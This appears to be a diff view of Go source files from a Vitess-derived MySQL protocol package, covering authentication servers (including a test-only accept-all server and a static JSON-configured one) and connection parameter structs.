// and dialog plugins.
func AuthServerReadPacketString(c *Conn) (string, error) {
// Read a packet, the password is the payload, as a
// zero terminated string.
data, err := c.ReadPacket()
if err != nil {
return "", err
}
if len(data) == 0 || data[len(data)-1] != 0 {
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "received invalid response packet, datalen=%v", len(data))
}
return string(data[:len(data)-1]), nil
}
// AuthServerNegotiateClearOrDialog will finish a negotiation based on
// the method type for the connection. Only supports
// MysqlClearPassword and MysqlDialog.
func AuthServerNegotiateClearOrDialog(c *Conn, method string) (string, error) {
switch method {
case MysqlClearPassword:
// The password is the next packet in plain text.
return AuthServerReadPacketString(c)
case MysqlDialog:
return AuthServerReadPacketString(c)
default:
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "unrecognized method: %v", method)
}
}
+64
View File
@@ -0,0 +1,64 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"net"
querypb "vitess.io/vitess/go/vt/proto/query"
)
// AuthServerNone takes all comers.
// It's meant to be used for testing and prototyping.
// With this config, you can connect to a local vtgate using
// the following command line: 'mysql -P port -h ::'.
// It only uses MysqlNativePassword method.
type AuthServerNone struct{}
// AuthMethod is part of the AuthServer interface.
// We always return MysqlNativePassword.
func (a *AuthServerNone) AuthMethod(user string) (string, error) {
return MysqlNativePassword, nil
}
// Salt makes salt
func (a *AuthServerNone) Salt() ([]byte, error) {
return NewSalt()
}
// ValidateHash validates hash
func (a *AuthServerNone) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
return &NoneGetter{}, nil
}
// Negotiate is part of the AuthServer interface.
// It will never be called.
func (a *AuthServerNone) Negotiate(c *Conn, user string, remotAddr net.Addr) (Getter, error) {
panic("Negotiate should not be called as AuthMethod returned mysql_native_password")
}
func init() {
RegisterAuthServerImpl("none", &AuthServerNone{})
}
// NoneGetter holds the empty string
type NoneGetter struct{}
// Get returns the empty string
func (ng *NoneGetter) Get() *querypb.VTGateCallerID {
return &querypb.VTGateCallerID{Username: "userData1"}
}
+158
View File
@@ -0,0 +1,158 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"flag"
"net"
"sync"
querypb "vitess.io/vitess/go/vt/proto/query"
)
var (
mysqlAuthServerStaticFile = flag.String("mysql_auth_server_static_file", "", "JSON File to read the users/passwords from.")
mysqlAuthServerStaticString = flag.String("mysql_auth_server_static_string", "", "JSON representation of the users/passwords config.")
mysqlAuthServerStaticReloadInterval = flag.Duration("mysql_auth_static_reload_interval", 0, "Ticker to reload credentials")
)
const (
localhostName = "localhost"
)
// AuthServerStatic implements AuthServer using a static configuration.
type AuthServerStatic struct {
// Method can be set to:
// - MysqlNativePassword
// - MysqlClearPassword
// - MysqlDialog
// It defaults to MysqlNativePassword.
Method string
// This mutex helps us prevent data races between the multiple updates of Entries.
mu sync.Mutex
// Entries contains the users, passwords and user data.
Entries map[string][]*AuthServerStaticEntry
}
// AuthServerStaticEntry stores the values for a given user.
type AuthServerStaticEntry struct {
// MysqlNativePassword is generated by password hashing methods in MySQL.
// These changes are illustrated by changes in the result from the PASSWORD() function
// that computes password hash values and in the structure of the user table where passwords are stored.
// mysql> SELECT PASSWORD('mypass');
// +-------------------------------------------+
// | PASSWORD('mypass') |
// +-------------------------------------------+
// | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
// +-------------------------------------------+
// MysqlNativePassword's format looks like "*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4", it store a hashing value.
// Use MysqlNativePassword in auth config, maybe more secure. After all, it is cryptographic storage.
MysqlNativePassword string
Password string
UserData string
SourceHost string
Groups []string
}
// AuthMethod is part of the AuthServer interface.
func (a *AuthServerStatic) AuthMethod(user string) (string, error) {
return a.Method, nil
}
// Salt is part of the AuthServer interface.
func (a *AuthServerStatic) Salt() ([]byte, error) {
return NewSalt()
}
// ValidateHash is part of the AuthServer interface.
func (a *AuthServerStatic) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
a.mu.Lock()
entries, ok := a.Entries[user]
a.mu.Unlock()
if !ok {
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
for _, entry := range entries {
if entry.MysqlNativePassword != "" {
isPass := isPassScrambleMysqlNativePassword(authResponse, salt, entry.MysqlNativePassword)
if matchSourceHost(remoteAddr, entry.SourceHost) && isPass {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
} else {
computedAuthResponse := ScramblePassword(salt, []byte(entry.Password))
// Validate the password.
if matchSourceHost(remoteAddr, entry.SourceHost) && bytes.Equal(authResponse, computedAuthResponse) {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
}
}
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
// Negotiate is part of the AuthServer interface.
// It will be called if Method is anything else than MysqlNativePassword.
// We only recognize MysqlClearPassword and MysqlDialog here.
func (a *AuthServerStatic) Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error) {
// Finish the negotiation.
password, err := AuthServerNegotiateClearOrDialog(c, a.Method)
if err != nil {
return nil, err
}
a.mu.Lock()
entries, ok := a.Entries[user]
a.mu.Unlock()
if !ok {
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
for _, entry := range entries {
// Validate the password.
if matchSourceHost(remoteAddr, entry.SourceHost) && entry.Password == password {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
}
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
func matchSourceHost(remoteAddr net.Addr, targetSourceHost string) bool {
// Legacy support, there was not matcher defined default to true
if targetSourceHost == "" {
return true
}
switch remoteAddr.(type) {
case *net.UnixAddr:
if targetSourceHost == localhostName {
return true
}
}
return false
}
// StaticUserData holds the username and groups
type StaticUserData struct {
username string
groups []string
}
// Get returns the wrapped username and groups
func (sud *StaticUserData) Get() *querypb.VTGateCallerID {
return &querypb.VTGateCallerID{Username: sud.username, Groups: sud.groups}
}
File diff suppressed because it is too large Load Diff
+60
View File
@@ -0,0 +1,60 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
// ConnParams contains all the parameters to use to connect to mysql.
type ConnParams struct {
Host string `json:"host"`
Port int `json:"port"`
Uname string `json:"uname"`
Pass string `json:"pass"`
DbName string `json:"dbname"`
UnixSocket string `json:"unix_socket"`
Charset string `json:"charset"`
Flags uint64 `json:"flags"`
// The following SSL flags are only used when flags |= 2048
// is set (CapabilityClientSSL).
SslCa string `json:"ssl_ca"`
SslCaPath string `json:"ssl_ca_path"`
SslCert string `json:"ssl_cert"`
SslKey string `json:"ssl_key"`
ServerName string `json:"server_name"`
// The following is only set when the deprecated "dbname" flags are
// supplied and will be removed.
DeprecatedDBName string
// The following is only set to force the client to connect without
// using CapabilityClientDeprecateEOF
DisableClientDeprecateEOF bool
}
// EnableSSL will set the right flag on the parameters.
func (cp *ConnParams) EnableSSL() {
cp.Flags |= CapabilityClientSSL
}
// SslEnabled returns if SSL is enabled.
func (cp *ConnParams) SslEnabled() bool {
return (cp.Flags & CapabilityClientSSL) > 0
}
// EnableClientFoundRows sets the flag for CLIENT_FOUND_ROWS.
func (cp *ConnParams) EnableClientFoundRows() {
cp.Flags |= CapabilityClientFoundRows
}

Some files were not shown because too many files have changed in this diff Show More